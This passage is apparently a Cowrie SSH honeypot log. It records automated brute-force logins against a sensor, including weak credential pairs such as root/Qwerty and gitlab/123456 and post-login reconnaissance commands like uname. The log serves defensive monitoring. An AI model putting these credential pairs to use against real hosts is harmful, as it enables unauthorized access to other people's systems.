r","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:36.573534Z","src_ip":"2.57.122.238","session":"0131eb3f165b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:36.882190Z","src_ip":"2.57.122.238","session":"0131eb3f165b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:37.989123Z","src_ip":"2.57.122.238","session":"0131eb3f165b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:38.462607Z","src_ip":"85.198.97.85","session":"5aa96a9fdd94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":47204,"dst_ip":"159.203.135.109","dst_port":22,"session":"69f75acda3bd","protocol":"ssh","message":"New connection: 101.44.96.62:47204 (159.203.135.109:22) [session: 69f75acda3bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:39.655365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:39.659734Z","src_ip":"101.44.96.62","session":"69f75acda3bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:39.876835Z","src_ip":"101.44.96.62","session":"69f75acda3bd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:40.527364Z","src_ip":"101.44.96.62","session":"69f75acda3bd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:40.999161Z","src_ip":"101.44.96.62","session":"69f75acda3bd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:41.002231Z","src_ip":"101.44.96.62","session":"69f75acda3bd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:41.221938Z","src_ip":"101.44.96.62","session":"69f75acda3bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:41.226591Z","src_ip":"101.44.96.62","session":"69f75acda3bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":38710,"dst_ip":"159.203.135.109","dst_port":22,"session":"45730ef01cc1","protocol":"ssh","message":"New connection: 101.44.96.62:38710 (159.203.135.109:22) [session: 45730ef01cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:53.137296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:53.141413Z","src_ip":"101.44.96.62","session":"45730ef01cc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:53.359062Z","src_ip":"101.44.96.62","session":"45730ef01cc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"abc123","message":"login attempt [ftpuser/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:54.011635Z","src_ip":"101.44.96.62","session":"45730ef01cc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:42:55.232002Z","src_ip":"101.44.96.62","session":"45730ef01cc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":37258,"dst_ip":"159.203.135.109","dst_port":22,"session":"456f8f827d6e","protocol":"ssh","message":"New connection: 101.44.96.62:37258 (159.203.135.109:22) [session: 456f8f827d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:06.622767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:06.628325Z","src_ip":"101.44.96.62","session":"456f8f827d6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:06.845022Z","src_ip":"101.44.96.62","session":"456f8f827d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:07.492792Z","src_ip":"101.44.96.62","session":"456f8f827d6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:08.711464Z","src_ip":"101.44.96.62","session":"456f8f827d6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":42696,"dst_ip":"159.203.135.109","dst_port":22,"session":"eadb60ee594e","protocol":"ssh","message":"New connection: 78.128.112.74:42696 (159.203.135.109:22) [session: eadb60ee594e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:18.935023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:19.289297Z","src_ip":"78.128.112.74","session":"eadb60ee594e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:19.293251Z","src_ip":"78.128.112.74","session":"eadb60ee594e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":46218,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9b189628f03","protocol":"ssh","message":"New connection: 101.44.96.62:46218 (159.203.135.109:22) [session: c9b189628f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:20.120651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:20.124764Z","src_ip":"101.44.96.62","session":"c9b189628f03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:20.341050Z","src_ip":"101.44.96.62","session":"c9b189628f03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"123456","message":"login attempt [gitlab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:20.992704Z","src_ip":"101.44.96.62","session":"c9b189628f03","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"9876","message":"login attempt [root/9876] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:21.409804Z","src_ip":"78.128.112.74","session":"eadb60ee594e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:21.657753Z","src_ip":"78.128.112.74","session":"eadb60ee594e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'SSH check'","message":"CMD: echo 'SSH check'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:21.661730Z","src_ip":"78.128.112.74","session":"eadb60ee594e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","size":10,"shasum":"96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:21.771745Z","src_ip":"78.128.112.74","session":"eadb60ee594e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:22.113369Z","src_ip":"78.128.112.74","session":"eadb60ee594e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:22.217222Z","src_ip":"101.44.96.62","session":"c9b189628f03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":36806,"dst_ip":"159.203.135.109","dst_port":22,"session":"8945a40555cb","protocol":"ssh","message":"New connection: 101.44.96.62:36806 (159.203.135.109:22) [session: 8945a40555cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:33.667692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:33.672470Z","src_ip":"101.44.96.62","session":"8945a40555cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:33.889853Z","src_ip":"101.44.96.62","session":"8945a40555cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:34.542552Z","src_ip":"101.44.96.62","session":"8945a40555cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:35.763451Z","src_ip":"101.44.96.62","session":"8945a40555cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":33456,"dst_ip":"159.203.135.109","dst_port":22,"session":"7056d7ec5b74","protocol":"ssh","message":"New connection: 101.44.96.62:33456 (159.203.135.109:22) [session: 7056d7ec5b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:47.147585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:47.152125Z","src_ip":"101.44.96.62","session":"7056d7ec5b74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:47.369022Z","src_ip":"101.44.96.62","session":"7056d7ec5b74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:48.020455Z","src_ip":"101.44.96.62","session":"7056d7ec5b74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:43:49.240818Z","src_ip":"101.44.96.62","session":"7056d7ec5b74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":50352,"dst_ip":"159.203.135.109","dst_port":22,"session":"227335b7a6aa","protocol":"ssh","message":"New connection: 101.44.96.62:50352 (159.203.135.109:22) [session: 227335b7a6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:00.676358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:44:00.681059Z","src_ip":"101.44.96.62","session":"227335b7a6aa","protocol":"ssh"}
